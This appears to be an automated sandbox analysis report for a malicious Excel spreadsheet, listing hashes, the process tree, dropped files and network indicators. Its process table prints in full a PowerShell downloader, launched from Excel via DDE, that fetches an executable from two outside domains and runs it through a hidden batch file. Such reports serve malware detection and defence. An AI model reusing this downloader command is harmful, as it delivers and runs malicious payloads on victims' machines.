File name: | 78d8c19e35fd239c7237049e6dd6225379991e67771412d4ab9edd73ca17db00.xls |
Full analysis: | https://app.any.run/tasks/a3ae8ece-c86a-4261-9cb0-b96634ce8c96 |
Verdict: | Malicious activity |
Analysis date: | April 15, 2019, 01:43:52 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1251, Author: 12345, Last Saved By: user, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Oct 16 17:44:32 2018, Last Saved Time/Date: Thu Nov 22 11:00:33 2018, Security: 0 |
MD5: | 51751DE29DBAC9A5AAB2445DB21C6768 |
SHA1: | 7F1B3E366E52888B827D33C05D508DA2DA0B7419 |
SHA256: | 78D8C19E35FD239C7237049E6DD6225379991E67771412D4AB9EDD73CA17DB00 |
SSDEEP: | 1536:XxZ+RwPONXoRjDhIcp0fDlaGGx+cL26nA72IBFKZqdSSSak8GZ0m7:XxZ+RwPONXoRjDhIcp0fDlaGGx+cL26D |
.xls | | | Microsoft Excel sheet (48) |
---|---|---|
.xls | | | Microsoft Excel sheet (alternate) (39.2) |
CompObjUserType: | Microsoft Office Excel 2003 Worksheet |
---|---|
CompObjUserTypeLen: | 38 |
HeadingPairs: |
|
TitleOfParts: |
|
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 12 |
CodePage: | Windows Cyrillic |
Security: | None |
ModifyDate: | 2018:11:22 11:00:33 |
CreateDate: | 2018:10:16 16:44:32 |
Software: | Microsoft Excel |
LastModifiedBy: | user |
Author: | 12345 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2812 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
2984 | cmd /c powershell "'powershell ""<#main sub #>function putstr([string] $wstr){(new-object system.net.webclient).downloadfile($wstr,''%tmp%\tmp633.exe'');<#update data#>start-process ''%tmp%\tmp633.exe'';}try{putstr(''https://www.pronetworksgroup.com/ruby.suby'')}catch{putstr(''http://oasincorp.com/ruby.suby'')}'"" | out-file -encoding ascii -filepath %tmp%\tmp408.bat; start-process '%tmp%\tmp408.bat' -windowstyle hidden" | C:\Windows\system32\cmd.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3460 | powershell "'powershell ""<#main sub #>function putstr([string] $wstr){(new-object system.net.webclient).downloadfile($wstr,''C:\Users\admin\AppData\Local\Temp\tmp633.exe'');<#update data#>start-process ''C:\Users\admin\AppData\Local\Temp\tmp633.exe'';}try{putstr(''https://www.pronetworksgroup.com/ruby.suby'')}catch{putstr(''http://oasincorp.com/ruby.suby'')}'"" | out-file -encoding ascii -filepath C:\Users\admin\AppData\Local\Temp\tmp408.bat; start-process 'C:\Users\admin\AppData\Local\Temp\tmp408.bat' -windowstyle hidden" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2456 | cmd /c ""C:\Users\admin\AppData\Local\Temp\tmp408.bat" " | C:\Windows\system32\cmd.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3568 | powershell "<#main sub #>function putstr([string] $wstr){(new-object system.net.webclient).downloadfile($wstr,'C:\Users\admin\AppData\Local\Temp\tmp633.exe');<#update data#>start-process 'C:\Users\admin\AppData\Local\Temp\tmp633.exe';}try{putstr('https://www.pronetworksgroup.com/ruby.suby')}catch{putstr('http://oasincorp.com/ruby.suby')} | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2812 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRFBFC.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3460 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MLI96FPT0VJW95WE2OFK.temp | — | |
MD5:— | SHA256:— | |||
3568 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P9CUF6J15CUFZ2MFFXHD.temp | — | |
MD5:— | SHA256:— | |||
3460 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF130504.TMP | binary | |
MD5:5F9A7BF5388376D94C2EDCA422810BEC | SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C | |||
2812 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:D6489F426EFCA743F6BE68B95246096E | SHA256:F09AD2FD219D4F8F05E37EF5368AFEE2E1AA3D9E4AF2D39A632FAFDB12594E1B | |||
3568 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:5F9A7BF5388376D94C2EDCA422810BEC | SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C | |||
3568 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13092b.TMP | binary | |
MD5:5F9A7BF5388376D94C2EDCA422810BEC | SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C | |||
3460 | powershell.exe | C:\Users\admin\AppData\Local\Temp\tmp408.bat | text | |
MD5:D454DD8CA2915FADAB1EA6C292A6996F | SHA256:D477A9A3852C19E1AD652572BCD35CF29C282F3D2452B2A2AD3F1B124A671AE9 | |||
3460 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:5F9A7BF5388376D94C2EDCA422810BEC | SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3568 | powershell.exe | GET | 404 | 45.60.22.183:80 | http://oasincorp.com/ruby.suby | US | html | 1.12 Kb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3568 | powershell.exe | 190.8.176.86:443 | www.pronetworksgroup.com | Colombia Hosting | CO | unknown |
3568 | powershell.exe | 45.60.22.183:80 | oasincorp.com | Incapsula Inc | US | unknown |
Domain | IP | Reputation |
---|---|---|
www.pronetworksgroup.com |
| unknown |
oasincorp.com |
| malicious |